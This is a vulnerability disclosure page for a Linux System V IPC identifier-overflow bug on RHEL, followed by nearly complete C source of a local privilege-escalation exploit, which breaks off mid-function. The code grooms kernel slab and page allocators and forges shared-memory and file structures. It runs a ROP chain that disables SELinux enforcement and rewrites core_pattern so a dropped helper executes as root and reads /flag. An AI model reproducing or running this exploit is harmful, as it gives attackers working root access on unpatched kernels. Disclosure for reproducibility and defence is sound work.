Summary
Linux could allocate a System V IPC number just beyond the range its identifier format can represent. The oversized index spilled into the sequence portion of the ID, so the number returned to userspace no longer reliably named the object that had just been created.
The flaw was introduced in January 2013. It was fixed upstream in May 2026 and backported to RHEL on August 11, before this public demonstration.
Why it mattered
A local user permitted to choose the next message-queue, semaphore, or shared-memory ID could create objects that became unreachable or, after reuse, resolve to a different object. That breaks the identifier checks used to separate IPC objects.
The affected code has been fixed. The risk described here applies to unpatched kernels in the affected line, not automatically to every system using the named distribution today.
What went wrong
ipc_idr_alloc() used an unbounded idr_alloc() request for checkpoint-and-restore IDs. When the remaining representable slots were occupied, the allocator could return the first index outside the valid IPC index field.
Exploit
Because the issue and its fixes are public, NebuSec’s validation code is included here for reproducibility. The preview starts at the program entry point and shows exactly 15 lines. Expanding it reveals the complete selected C file embedded in this page; build files, headers, helpers, and any additional sources remain in the linked CyberMeowfia directory.
int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); if (argc == 2 && !strcmp(argv[1], "--vuln-trigger")) return run_vuln_trigger(); if (argc == 2) return root_helper(argv[1]); if (argc != 1) { fprintf(stderr, "usage: %s [--vuln-trigger]\n", argv[0]); return EXIT_FAILURE; } drop_to_nobody_if_root(); prepare_regular_helper(); if (!fork()) watch_payload_ready();
/*
* Copyright 2026 Nebula Security
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* SPDX-License-Identifier: Apache-2.0
*/
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <grp.h>
#include <sched.h>
#include <signal.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/sendfile.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/wait.h>
#include <unistd.h>
#include "known_page.h"
#include "leak.h"
#define KERNEL_BASE UINT64_C(0xffffffff81000000)
#define RHEL_IMAGE_EDGE_BIAS UINT64_C(0)
#define OFF_PUSH_RDI_POP_RSP UINT64_C(0x79b32a)
#define OFF_POP_RAX UINT64_C(0x10c8b)
#define OFF_POP_RSI UINT64_C(0x2c9)
#define OFF_POP_RDI UINT64_C(0x1f6de1)
#define OFF_WRITE_EAX4 UINT64_C(0x783a4)
#define OFF_WRITE_MODE_0666 UINT64_C(0x8f32ce)
#define OFF_DO_EXIT UINT64_C(0x14ce20)
#define OFF_MSLEEP UINT64_C(0x243b60)
#define OFF_INIT_IPC_NS UINT64_C(0x26b5c20)
#define OFF_CORE_PATTERN_MODE UINT64_C(0x26b136c)
#define OFF_SELINUX_STATE UINT64_C(0x344e760)
#define IPC_TAIL 32767
#define SHMID_OBJECTS_PER_SLAB 16
#define HIGH_OBJECTS_PER_GROUP 8
#define CANDIDATE_GROUPS 2040
#define STALE_COUNT (CANDIDATE_GROUPS * HIGH_OBJECTS_PER_GROUP)
#define DEFRAG_SLABS 64
#define DEFRAG_COUNT (SHMID_OBJECTS_PER_SLAB * DEFRAG_SLABS)
#define FLUSH_SLABS 24
#define ALIGN_COUNT 14
#define KFENCE_FILL_COUNT 300
#define KFENCE_FILL_USEC 110000
#define SAFE_PIPE_SPRAY 8192
#define LATE_DRAIN_PAGES 10240
#define BRIDGE_CANDIDATES 10000
#define FINAL_FAKE_PAGES 8192
#define CALLBACK_SWEEP_ROUNDS 160
#define CALLBACK_SWEEP_USEC 50000
#define COLLATERAL_MEMFDS 60000
#define COLLATERAL_GUARD_STRIDE 8
#define SUPPORT_PAGE 2
#define TARGET_HIGH_PAGE SUPPORT_PAGE
#define REFILL_COUNT STALE_COUNT
#define ORDER3_HOLDERS 1024
#define ORDER3_PRESSURE 12000
#define ORDER3_RELEASE 640
#define EXPECTED_ORDER3_HOLDER 1
#define FRAG_LINEAR_LEN 3616
#define FRAG_SEND_LEN (FRAG_LINEAR_LEN + KNOWN_PAGE_BYTES)
#define COMMON_FIRST_SLOT (SUPPORT_PAGE * SHMID_OBJECTS_PER_SLAB)
#define COMMON_LAST_SLOT (COMMON_FIRST_SLOT + 14)
#define COMMON_START (COMMON_FIRST_SLOT * 0x100UL)
#define FAKE_SUPER (COMMON_START + 0x000)
#define FAKE_DENTRY (COMMON_START + 0x600)
#define FAKE_SHMEM_INFO (COMMON_START + 0x768)
#define FAKE_INODE (FAKE_SHMEM_INFO + 0x98)
#define FAKE_FOPS (COMMON_START + 0xa00)
#define FAKE_FILE (COMMON_START + 0xc00)
#define SHM_PERM_ID 0x08
#define SHM_PERM_MODE 0x20
#define SHM_PERM_SECURITY 0x30
#define SHM_PERM_REFCOUNT 0x50
#define SHM_FILE 0x80
#define SHM_NATTCH 0x88
#define SHM_SEGSZ 0x90
#define SHM_CPRID 0xb0
#define SHM_LPRID 0xb8
#define SHM_MLOCK_UCOUNTS 0xc0
#define SHM_CREATOR 0xc8
#define SHM_CLIST 0xd0
#define SHM_NS 0xe0
#define FILE_REF 0x00
#define FILE_LOCK 0x08
#define FILE_MODE 0x0c
#define FILE_FOP 0x10
#define FILE_MAPPING 0x18
#define FILE_PRIVATE 0x20
#define FILE_INODE 0x28
#define FILE_FLAGS 0x30
#define FILE_IOCB_FLAGS 0x34
#define FILE_CRED 0x38
#define FILE_PATH_MNT 0x40
#define FILE_PATH_DENTRY 0x48
#define FILE_SECURITY 0x78
#define FILE_EP 0x90
#define DENTRY_INODE 0x30
#define DENTRY_SB 0x68
#define INODE_SB 0x28
#define INODE_MAPPING 0x30
#define INODE_FLCTX 0x168
#define SUPER_FSNOTIFY_INFO 0x3a8
#define FOPS_FLAGS 0x08
#define FOPS_RELEASE 0x78
#define SHM_DEST 01000
#define FMODE_OPENED (1U << 19)
static uint64_t kernel_slide;
static uint64_t known_page;
static int safe_pipe_fds[SAFE_PIPE_SPRAY][2];
static int late_drain_fds[LATE_DRAIN_PAGES][2];
static int bridge_fds[BRIDGE_CANDIDATES][2];
static int final_fake_fds[FINAL_FAKE_PAGES][2];
static int order3_holder_fds[ORDER3_HOLDERS][2];
static int order3_pressure_fds[ORDER3_PRESSURE][2];
static int collateral_memfds[COLLATERAL_MEMFDS];
static int victim_ready_pipe[2];
static int victim_prepare_pipe[2];
static int victim_armed_pipe[2];
static int victim_allocate_pipe[2];
static int victim_live_pipe[2];
static int victim_exit_pipe[2];
static pid_t victim_pid = -1;
static int victim_ns_fd = -1;
static int safe_ns_fd = -1;
static int safe_guard_queue = -1;
static int victim_guard_queue = -1;
static int defrag_ids[DEFRAG_COUNT];
static int align_ids[ALIGN_COUNT];
static int refill_ids[REFILL_COUNT];
static unsigned char anchor_template[KNOWN_PAGE_BYTES];
static int final_fake_written;
static void die(const char *what)
{
perror(what);
exit(EXIT_FAILURE);
}
static void write_all(int fd, const void *data, size_t length)
{
const unsigned char *cursor = data;
while (length) {
ssize_t done = write(fd, cursor, length);
if (done < 0) {
if (errno == EINTR)
continue;
die("write");
}
cursor += done;
length -= (size_t)done;
}
}
static void write_text(const char *path, const char *text)
{
int fd = open(path, O_WRONLY | O_CLOEXEC);
if (fd < 0)
die(path);
write_all(fd, text, strlen(text));
close(fd);
}
static void pin_cpu(int cpu)
{
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
if (sched_setaffinity(0, sizeof(set), &set) < 0)
die("sched_setaffinity");
}
static void drop_to_nobody_if_root(void)
{
if (geteuid() != 0)
return;
if (setgroups(0, NULL) < 0)
die("setgroups");
if (setresgid(65534, 65534, 65534) < 0)
die("setresgid");
if (setresuid(65534, 65534, 65534) < 0)
die("setresuid");
if (prctl(PR_SET_DUMPABLE, 1, 0, 0, 0) < 0)
die("PR_SET_DUMPABLE");
}
static void enter_user_ipc_namespaces(void)
{
char map[64];
uid_t uid = getuid();
gid_t gid = getgid();
if (unshare(CLONE_NEWUSER) < 0)
die("unshare user");
write_text("/proc/self/setgroups", "deny\n");
snprintf(map, sizeof(map), "0 %u 1\n", uid);
write_text("/proc/self/uid_map", map);
snprintf(map, sizeof(map), "0 %u 1\n", gid);
write_text("/proc/self/gid_map", map);
if (setresgid(0, 0, 0) < 0 || setresuid(0, 0, 0) < 0)
die("namespace credentials");
if (unshare(CLONE_NEWIPC) < 0)
die("unshare ipc");
printf("[+] user/ipc namespace ready uid=%u gid=%u\n", getuid(), getgid());
}
static int new_segment(void)
{
int id = shmget(IPC_PRIVATE, 1, IPC_CREAT | 0600);
if (id < 0)
die("shmget");
return id;
}
static void set_next_id_fd(int fd)
{
static const char value[] = "32767\n";
if (lseek(fd, 0, SEEK_SET) < 0)
die("lseek(shm_next_id)");
write_all(fd, value, sizeof(value) - 1);
}
static void consume_kfence_sample(int queue_id)
{
struct {
long type;
unsigned char text[400];
} message = { .type = 1 }, result;
if (msgsnd(queue_id, &message, sizeof(message.text), 0) < 0)
die("msgsnd(KFENCE guard)");
if (msgrcv(queue_id, &result, sizeof(result.text), 1, 0) !=
sizeof(result.text))
die("msgrcv(KFENCE guard)");
}
static void victim_worker(void)
{
char token;
int next_fd;
int tail;
pin_cpu(0);
if (unshare(CLONE_NEWIPC) < 0)
die("unshare(victim ipc)");
write_text("/proc/sys/kernel/shmmni", "32768\n");
write_text("/proc/sys/kernel/shm_rmid_forced", "1\n");
victim_guard_queue = msgget(IPC_PRIVATE, IPC_CREAT | 0600);
if (victim_guard_queue < 0)
die("msgget(victim guard)");
next_fd = open("/proc/sys/kernel/shm_next_id", O_WRONLY | O_CLOEXEC);
if (next_fd < 0)
die("open(victim shm_next_id)");
consume_kfence_sample(victim_guard_queue);
set_next_id_fd(next_fd);
tail = new_segment();
if (tail != IPC_TAIL)
_exit(2);
write_all(victim_ready_pipe[1], &victim_guard_queue,
sizeof(victim_guard_queue));
if (read(victim_prepare_pipe[0], &token, 1) != 1)
_exit(3);
/* Take a pending KFENCE sample before the known bridge page is freed. */
consume_kfence_sample(victim_guard_queue);
write_all(victim_armed_pipe[1], "A", 1);
for (int group = 0; group < CANDIDATE_GROUPS; group++) {
if (read(victim_allocate_pipe[0], &token, 1) != 1)
_exit(4);
for (int slot = 0; slot < HIGH_OBJECTS_PER_GROUP; slot++) {
int i = group * HIGH_OBJECTS_PER_GROUP + slot;
int guard;
int id;
/*
* Allocate an ordinary live segment from the exact same
* kmalloc-cg-256 callsite before every high-ID segment. A
* pending KFENCE sample is therefore consumed by the live
* guard rather than by an object that will become dangling.
* The low/high pairs fill one 16-object slab per bridge page.
*/
guard = new_segment();
if (guard < 0)
_exit(6);
set_next_id_fd(next_fd);
id = new_segment();
if (i == 0 || i == STALE_COUNT - 1)
printf("[.] high[%d]=%d\n", i, id);
if (id != IPC_TAIL + 1 + i)
_exit(3);
}
write_all(victim_live_pipe[1], "L", 1);
}
if (read(victim_exit_pipe[0], &token, 1) != 1)
_exit(5);
close(next_fd);
_exit(0);
}
static void prepare_victim_namespace(void)
{
char path[64];
if (pipe2(victim_ready_pipe, O_CLOEXEC) < 0 ||
pipe2(victim_prepare_pipe, O_CLOEXEC) < 0 ||
pipe2(victim_armed_pipe, O_CLOEXEC) < 0 ||
pipe2(victim_allocate_pipe, O_CLOEXEC) < 0 ||
pipe2(victim_live_pipe, O_CLOEXEC) < 0 ||
pipe2(victim_exit_pipe, O_CLOEXEC) < 0)
die("pipe2(victim synchronization)");
victim_pid = fork();
if (victim_pid < 0)
die("fork(victim)");
if (!victim_pid)
victim_worker();
if (read(victim_ready_pipe[0], &victim_guard_queue,
sizeof(victim_guard_queue)) != sizeof(victim_guard_queue))
die("read(victim ready)");
snprintf(path, sizeof(path), "/proc/%d/ns/ipc", victim_pid);
victim_ns_fd = open(path, O_RDONLY | O_CLOEXEC);
if (victim_ns_fd < 0)
die("open(victim ipc namespace)");
printf("[+] victim namespace ready tail=%d guard=%d\n",
IPC_TAIL, victim_guard_queue);
}
static void prepare_shmid_defragmentation(void)
{
for (int i = 0; i < DEFRAG_COUNT; i++) {
consume_kfence_sample(safe_guard_queue);
defrag_ids[i] = new_segment();
if (defrag_ids[i] != i) {
fprintf(stderr, "unexpected defrag id[%d]=%d\n", i,
defrag_ids[i]);
exit(EXIT_FAILURE);
}
}
printf("[+] filled %d shmid objects across %d grooming slabs\n",
DEFRAG_COUNT, DEFRAG_SLABS);
}
static void hold_kfence_pool(void)
{
/*
* Stock RHEL samples one KFENCE allocation every 100 ms and provides 255
* guarded objects. Keep more than a full pool of ordinary, valid shmid
* objects alive in the safe namespace before creating any dangling high
* IDs. This prevents a stale object from remaining trapped on a KFENCE
* page, which cannot participate in the later controlled-page reclaim.
*/
for (int i = 0; i < KFENCE_FILL_COUNT; i++) {
usleep(KFENCE_FILL_USEC);
(void)new_segment();
}
printf("[+] held %d timed shmid guards to saturate the KFENCE pool\n",
KFENCE_FILL_COUNT);
}
static void free_defrag_except_guards(void)
{
for (int slab = 0; slab < DEFRAG_SLABS; slab++) {
for (int slot = 1; slot < SHMID_OBJECTS_PER_SLAB; slot++) {
int index = slab * SHMID_OBJECTS_PER_SLAB + slot;
if (shmctl(defrag_ids[index], IPC_RMID, NULL) < 0)
die("shmctl(defrag partial)");
defrag_ids[index] = -1;
}
}
/* These frees use call_rcu(); wait until the nearly-empty grooming slabs
* have populated both the per-CPU and per-node partial lists. */
usleep(500000);
}
static void flush_defrag_guards(void)
{
int flushed = 0;
for (int slab = 8; slab < DEFRAG_SLABS && flushed < FLUSH_SLABS;
slab++) {
int index = slab * SHMID_OBJECTS_PER_SLAB;
if (defrag_ids[index] < 0)
continue;
if (shmctl(defrag_ids[index], IPC_RMID, NULL) < 0)
die("shmctl(defrag flush)");
defrag_ids[index] = -1;
flushed++;
}
usleep(500000);
printf("[+] flushed %d shmid partial-slab guards\n", flushed);
}
static int root_helper(const char *pid_string)
{
char flag[4096];
int pid = atoi(pid_string);
int pfd = syscall(SYS_pidfd_open, pid, 0);
int out = syscall(SYS_pidfd_getfd, pfd, STDOUT_FILENO, 0);
int fd = open("/flag", O_RDONLY | O_CLOEXEC);
int proof = open("/tmp/.fa0b-proof",
O_WRONLY | O_CREAT | O_TRUNC | O_CLOEXEC, 0644);
ssize_t length;
if (out >= 0)
dup2(out, STDOUT_FILENO);
if (fd < 0)
return 1;
write_all(STDOUT_FILENO, "RHEL_FLAG_OK\n", 13);
if (proof >= 0)
write_all(proof, "RHEL_FLAG_OK\n", 13);
length = read(fd, flag, sizeof(flag));
if (length > 0) {
char *zero = memchr(flag, 0, (size_t)length);
if (zero)
length = zero - flag;
write_all(STDOUT_FILENO, flag, (size_t)length);
if (proof >= 0)
write_all(proof, flag, (size_t)length);
if (!length || flag[length - 1] != '\n') {
write_all(STDOUT_FILENO, "\n", 1);
if (proof >= 0)
write_all(proof, "\n", 1);
}
}
if (proof >= 0)
close(proof);
close(fd);
return 0;
}
static void prepare_regular_helper(void)
{
int self = open("/proc/self/exe", O_RDONLY | O_CLOEXEC);
int helper = open("/tmp/.fa0b-helper",
O_WRONLY | O_CREAT | O_TRUNC | O_CLOEXEC, 0700);
if (self < 0 || helper < 0)
die("prepare helper");
if (sendfile(helper, self, NULL, 1U << 30) < 0)
die("sendfile helper");
if (fchmod(helper, 0755) < 0)
die("fchmod helper");
close(helper);
close(self);
}
static int selinux_is_disabled(void)
{
char enforcing = '1';
int fd = open("/sys/fs/selinux/enforce", O_RDONLY | O_CLOEXEC);
if (fd < 0)
return 0;
(void)!read(fd, &enforcing, 1);
close(fd);
return enforcing == '0';
}
__attribute__((noreturn))
static void watch_payload_ready(void)
{
static const char pattern[] = "|/tmp/.fa0b-helper %P";
char proof[4096];
int fd;
pid_t child;
pin_cpu(1);
while (!selinux_is_disabled())
usleep(10000);
puts("[+] selinux enforcing is disabled");
while ((fd = open("/proc/sys/kernel/core_pattern",
O_WRONLY | O_CLOEXEC)) < 0)
usleep(10000);
write_all(fd, pattern, sizeof(pattern) - 1);
close(fd);
puts("[+] core_pattern is writable");
child = fork();
if (child < 0)
_exit(1);
if (!child) {
*(volatile unsigned long *)0 = 0;
_exit(1);
}
(void)waitpid(child, NULL, 0);
for (int attempt = 0; attempt < 500; attempt++) {
ssize_t got;
fd = open("/tmp/.fa0b-proof", O_RDONLY | O_CLOEXEC);
if (fd < 0) {
usleep(10000);
continue;
}
got = read(fd, proof, sizeof(proof));
close(fd);
if (got > 0) {
write_all(STDOUT_FILENO, proof, (size_t)got);
_exit(0);
}
usleep(10000);
}
_exit(1);
}
static void prepare_safe_pipes(void)
{
struct rlimit limit;
if (getrlimit(RLIMIT_NOFILE, &limit) < 0)
die("getrlimit(RLIMIT_NOFILE)");
limit.rlim_cur = limit.rlim_max;
if (setrlimit(RLIMIT_NOFILE, &limit) < 0)
die("setrlimit(RLIMIT_NOFILE)");
printf("[+] prepared file descriptor limit\n");
}
static void spray_order3_pages(int fds[][2], int count, uint64_t tag,
const char *label)
{
unsigned char *page = calloc(1, KNOWN_PAGE_BYTES);
unsigned char *buffer = calloc(1, FRAG_SEND_LEN);
struct iovec iov = { .iov_base = buffer, .iov_len = FRAG_SEND_LEN };
struct msghdr message = { .msg_iov = &iov, .msg_iovlen = 1 };
if (!page || !buffer)
die("calloc(order3 spray)");
for (size_t base = 0; base < KNOWN_PAGE_BYTES; base += 0x100) {
uint64_t marker = 1;
memcpy(page + base + SHM_NATTCH, &marker, sizeof(marker));
memcpy(page + base + SHM_CLIST, &marker, sizeof(marker));
}
for (int i = 0; i < count; i++) {
uint64_t marker = tag | (uint32_t)i;
ssize_t sent;
memcpy(page, &marker, sizeof(marker));
memcpy(buffer + FRAG_LINEAR_LEN, page, KNOWN_PAGE_BYTES);
if (socketpair(AF_UNIX, SOCK_STREAM | SOCK_CLOEXEC, 0, fds[i]) < 0)
die("socketpair(order3)");
sent = sendmsg(fds[i][0], &message, 0);
if (sent != FRAG_SEND_LEN)
die("sendmsg(order3)");
}
free(buffer);
free(page);
printf("[+] held %d %s order-3 fragment pages\n", count, label);
}
static void release_order3_holder(void)
{
close(order3_holder_fds[EXPECTED_ORDER3_HOLDER][0]);
close(order3_holder_fds[EXPECTED_ORDER3_HOLDER][1]);
order3_holder_fds[EXPECTED_ORDER3_HOLDER][0] = -1;
order3_holder_fds[EXPECTED_ORDER3_HOLDER][1] = -1;
for (int i = 0; i < ORDER3_RELEASE; i++) {
close(order3_pressure_fds[i][0]);
close(order3_pressure_fds[i][1]);
order3_pressure_fds[i][0] = -1;
order3_pressure_fds[i][1] = -1;
}
printf("[+] released expected holder %d plus %d newer order-3 pages\n",
EXPECTED_ORDER3_HOLDER, ORDER3_RELEASE);
}
static void spray_late_order0_drain(void)
{
unsigned char page[4096] = {0};
for (size_t base = 0; base < sizeof(page); base += 0x100) {
uint64_t marker = 1;
memcpy(page + base + SHM_NATTCH, &marker, sizeof(marker));
memcpy(page + base + SHM_CLIST, &marker, sizeof(marker));
}
for (int i = 0; i < LATE_DRAIN_PAGES; i++)
write_all(late_drain_fds[i][1], page, sizeof(page));
printf("[+] held %d late order-0 drain pages at peak pressure\n",
LATE_DRAIN_PAGES);
}
static void release_bulk_order3_pages(void)
{
for (int i = 0; i < ORDER3_HOLDERS; i++) {
if (order3_holder_fds[i][0] < 0)
continue;
close(order3_holder_fds[i][0]);
close(order3_holder_fds[i][1]);
order3_holder_fds[i][0] = -1;
order3_holder_fds[i][1] = -1;
}
for (int i = 0; i < ORDER3_PRESSURE; i++) {
if (order3_pressure_fds[i][0] < 0)
continue;
close(order3_pressure_fds[i][0]);
close(order3_pressure_fds[i][1]);
order3_pressure_fds[i][0] = -1;
order3_pressure_fds[i][1] = -1;
}
for (int i = 0; i < LATE_DRAIN_PAGES; i++) {
close(late_drain_fds[i][0]);
close(late_drain_fds[i][1]);
late_drain_fds[i][0] = -1;
late_drain_fds[i][1] = -1;
}
printf("[+] released bulk order-3 holders after bridge capture\n");
}
static void spray_final_fake_pages_to(int target)
{
if (target > FINAL_FAKE_PAGES)
target = FINAL_FAKE_PAGES;
while (final_fake_written < target) {
write_all(final_fake_fds[final_fake_written][1],
anchor_template + TARGET_HIGH_PAGE * 4096, 4096);
final_fake_written++;
}
}
static void prepare_file_collateral_freelists(void)
{
for (int i = 0; i < COLLATERAL_MEMFDS; i++) {
collateral_memfds[i] = memfd_create("shmid-collateral", MFD_CLOEXEC);
if (collateral_memfds[i] < 0)
die("memfd_create(collateral)");
}
for (int i = 0; i < COLLATERAL_MEMFDS; i++) {
if (!(i % COLLATERAL_GUARD_STRIDE))
continue;
close(collateral_memfds[i]);
collateral_memfds[i] = -1;
}
/* Keep one object per small group so filp, inode and LSM slabs remain
* partial while the high stream and its same-callsite refill cycle. */
usleep(500000);
printf("[+] prepared %d file/inode collateral objects with 1/%d guards\n",
COLLATERAL_MEMFDS, COLLATERAL_GUARD_STRIDE);
}
static void sweep_callback_window(void)
{
spray_final_fake_pages_to(1024);
for (int round = 0; round < CALLBACK_SWEEP_ROUNDS; round++) {
usleep(CALLBACK_SWEEP_USEC);
spray_final_fake_pages_to(1024 +
(round + 1) * (FINAL_FAKE_PAGES - 1024) /
CALLBACK_SWEEP_ROUNDS);
}
printf("[+] swept %d fake-safe pages across the high-ID callback window\n",
final_fake_written);
}
static void stale_reclaim_hook(void *unused)
{
char token;
int status;
(void)unused;
/* First capture the still-compound known block with an order-3 skb
* fragment. Releasing that holder behind newer order-3 pages moves the
* block from high-order PCP to the buddy allocator, where the bridge can
* split it into individually releasable order-0 pages. */
spray_order3_pages(order3_holder_fds, ORDER3_HOLDERS,
UINT64_C(0xfeed000000000000), "candidate");
spray_order3_pages(order3_pressure_fds, ORDER3_PRESSURE,
UINT64_C(0xbeef000000000000), "pressure");
spray_late_order0_drain();
#ifdef DEBUG_ORDER3
puts("[D] ORDER3_HOLDER_LIVE");
sleep(60);
#endif
release_order3_holder();
/* Split the released known order-3 block with individually reclaimable
* pipe pages. Every bridge page carries the support-page template, so
* the retained known subpage is usable independently of its ordinal. */
for (int i = 0; i < BRIDGE_CANDIDATES; i++) {
uint64_t marker = UINT64_C(0xb16d000000000000) | (uint32_t)i;
memcpy(anchor_template + SUPPORT_PAGE * 4096, &marker,
sizeof(marker));
write_all(bridge_fds[i][1],
anchor_template + SUPPORT_PAGE * 4096, 4096);
}
#ifdef DEBUG_BRIDGE
puts("[D] PIPE_BRIDGE_LIVE");
sleep(60);
#endif
release_bulk_order3_pages();
prepare_file_collateral_freelists();
printf("[+] arming %d bridge candidates for a self-contained page %d target\n",
CANDIDATE_GROUPS, TARGET_HIGH_PAGE);
/* Defer the intentional low-ID leak until after address discovery. CPU1
* isolates it from the CPU0 slabs used by the high-ID population. */
pin_cpu(1);
if (setns(victim_ns_fd, CLONE_NEWIPC) < 0)
die("setns(victim sentinel)");
consume_kfence_sample(victim_guard_queue);
if (new_segment() != 0)
die("victim sentinel id");
if (setns(safe_ns_fd, CLONE_NEWIPC) < 0)
die("setns(safe after sentinel)");
pin_cpu(0);
write_all(victim_prepare_pipe[1], "P", 1);
if (read(victim_armed_pipe[0], &token, 1) != 1 || token != 'A')
die("read(victim armed)");
for (int group = 0; group < CANDIDATE_GROUPS; group++) {
close(bridge_fds[group][0]);
close(bridge_fds[group][1]);
bridge_fds[group][0] = -1;
bridge_fds[group][1] = -1;
write_all(victim_allocate_pipe[1], "G", 1);
if (read(victim_live_pipe[0], &token, 1) != 1 || token != 'L')
die("read(victim group live)");
}
printf("[+] directed %d high objects across %d released candidates\n",
STALE_COUNT, CANDIDATE_GROUPS);
#ifdef DEBUG_BRIDGE
puts("[D] FIRST_KEY_HIGH_LIVE");
sleep(30);
#endif
/* Candidate placement is complete. These older pages are no longer
* allowed to compete with the later stale-slab reclaim. */
for (int i = CANDIDATE_GROUPS; i < BRIDGE_CANDIDATES; i++) {
close(bridge_fds[i][0]);
close(bridge_fds[i][1]);
bridge_fds[i][0] = -1;
bridge_fds[i][1] = -1;
}
for (int i = 0; i < SAFE_PIPE_SPRAY; i++) {
close(safe_pipe_fds[i][0]);
close(safe_pipe_fds[i][1]);
safe_pipe_fds[i][0] = -1;
safe_pipe_fds[i][1] = -1;
}
free_defrag_except_guards();
write_all(victim_exit_pipe[1], "X", 1);
while (waitpid(victim_pid, &status, 0) < 0) {
if (errno != EINTR)
die("waitpid(victim)");
}
if (!WIFEXITED(status) || WEXITSTATUS(status)) {
fprintf(stderr, "victim status=%#x\n", status);
exit(EXIT_FAILURE);
}
/* exit_shm() releases through call_rcu(). Reclaim pages continuously as
* callbacks arrive instead of leaving them exposed to unrelated caches
* during a fixed grace-period sleep. The page image is scan-safe unless
* it lands at the selected physical target. */
sweep_callback_window();
flush_defrag_guards();
printf("[+] sprayed %d self-addressed fake pages for target %#llx\n",
final_fake_written,
(unsigned long long)(known_page + TARGET_HIGH_PAGE * 4096));
for (int i = 0; i < REFILL_COUNT; i++) {
consume_kfence_sample(safe_guard_queue);
refill_ids[i] = new_segment();
}
printf("[+] installed %d live same-cache guards for pre-target stale keys\n",
REFILL_COUNT);
#ifdef DEBUG_BRIDGE
puts("[D] FIRST_KEY_FAKE_LIVE");
sleep(30);
#endif
}
static void put64(unsigned char *page, size_t offset, uint64_t value)
{
if (offset + sizeof(value) > KNOWN_PAGE_BYTES) {
errno = EOVERFLOW;
die("known-page qword");
}
memcpy(page + offset, &value, sizeof(value));
}
static void put32(unsigned char *page, size_t offset, uint32_t value)
{
if (offset + sizeof(value) > KNOWN_PAGE_BYTES) {
errno = EOVERFLOW;
die("known-page dword");
}
memcpy(page + offset, &value, sizeof(value));
}
static void build_known_page(unsigned char *page, uint64_t page_address,
void *argument)
{
uint64_t slide = *(uint64_t *)argument;
uint64_t kbase = KERNEL_BASE + slide;
uint64_t fake_file = page_address + FAKE_FILE;
uint64_t fake_fops = page_address + FAKE_FOPS;
uint64_t fake_inode = page_address + FAKE_INODE;
uint64_t fake_dentry = page_address + FAKE_DENTRY;
uint64_t fake_super = page_address + FAKE_SUPER;
uint64_t init_ipc_ns = kbase + OFF_INIT_IPC_NS;
uint64_t *chain;
known_page = page_address;
memset(page, 0, KNOWN_PAGE_BYTES);
for (size_t base = 0; base < KNOWN_PAGE_BYTES; base += 0x100) {
uint64_t head = page_address + base + SHM_CLIST;
if (base / 0x100 >= COMMON_FIRST_SLOT &&
base / 0x100 <= COMMON_LAST_SLOT)
continue;
put32(page, base + SHM_PERM_ID, IPC_TAIL);
put32(page, base + SHM_PERM_MODE, SHM_DEST);
put64(page, base + SHM_PERM_SECURITY, 0);
put32(page, base + SHM_PERM_REFCOUNT, 2);
put64(page, base + SHM_FILE, fake_file);
put64(page, base + SHM_NATTCH, 0);
put64(page, base + SHM_SEGSZ, 0);
put64(page, base + SHM_CPRID, 0);
put64(page, base + SHM_LPRID, 0);
put64(page, base + SHM_MLOCK_UCOUNTS, 0);
put64(page, base + SHM_CREATOR, 0);
put64(page, base + SHM_CLIST, head);
put64(page, base + SHM_CLIST + 8, head);
put64(page, base + SHM_NS, init_ipc_ns);
}
/* RHEL 6.12 keeps file_ref_t at file offset zero. Leave its one-reference
* encoding at zero so fput() schedules __fput(), and set only
* FMODE_OPENED before the forged release callback. */
put64(page, FAKE_FILE + FILE_REF, 0);
put32(page, FAKE_FILE + FILE_LOCK, 0);
put32(page, FAKE_FILE + FILE_MODE, FMODE_OPENED);
put64(page, FAKE_FILE + FILE_FOP, fake_fops);
put64(page, FAKE_FILE + FILE_MAPPING, 0);
put64(page, FAKE_FILE + FILE_PRIVATE, 0);
put64(page, FAKE_FILE + FILE_INODE, fake_inode);
put32(page, FAKE_FILE + FILE_FLAGS, 0);
put32(page, FAKE_FILE + FILE_IOCB_FLAGS, 0);
put64(page, FAKE_FILE + FILE_CRED, 0);
put64(page, FAKE_FILE + FILE_PATH_MNT, 0);
put64(page, FAKE_FILE + FILE_PATH_DENTRY, fake_dentry);
put64(page, FAKE_FILE + FILE_SECURITY, 0);
put64(page, FAKE_FILE + FILE_EP, 0);
put64(page, FAKE_DENTRY + DENTRY_INODE, fake_inode);
put64(page, FAKE_DENTRY + DENTRY_SB, fake_super);
put64(page, FAKE_INODE + INODE_SB, fake_super);
put64(page, FAKE_INODE + INODE_MAPPING, 0);
put64(page, FAKE_INODE + INODE_FLCTX, 0);
put64(page, FAKE_SUPER + SUPER_FSNOTIFY_INFO, 0);
/* release(inode, file) supplies the fake inode in RDI. The exact RHEL
* pivot executes `push rdi; pop rsp; add rsp,0x18`, restores six registers
* from controlled inode words, and returns through qword +0x48. This
* avoids overlapping the live file_ref_t at fake_file offset zero. */
chain = (uint64_t *)(page + FAKE_FOPS);
chain[FOPS_RELEASE / 8] = kbase + OFF_PUSH_RDI_POP_RSP;
put64(page, FAKE_INODE + 0x48, kbase + OFF_POP_RAX);
put64(page, FAKE_INODE + 0x50, 0);
put64(page, FAKE_INODE + 0x58, kbase + OFF_POP_RSI);
put64(page, FAKE_INODE + 0x60, kbase + OFF_SELINUX_STATE);
put64(page, FAKE_INODE + 0x68, kbase + OFF_WRITE_EAX4);
put64(page, FAKE_INODE + 0x70, kbase + OFF_POP_RSI);
put64(page, FAKE_INODE + 0x78, kbase + OFF_CORE_PATTERN_MODE);
put64(page, FAKE_INODE + 0x80, kbase + OFF_WRITE_MODE_0666);
put64(page, FAKE_INODE + 0x88, kbase + OFF_POP_RDI);
put64(page, FAKE_INODE + 0x90, 15000);
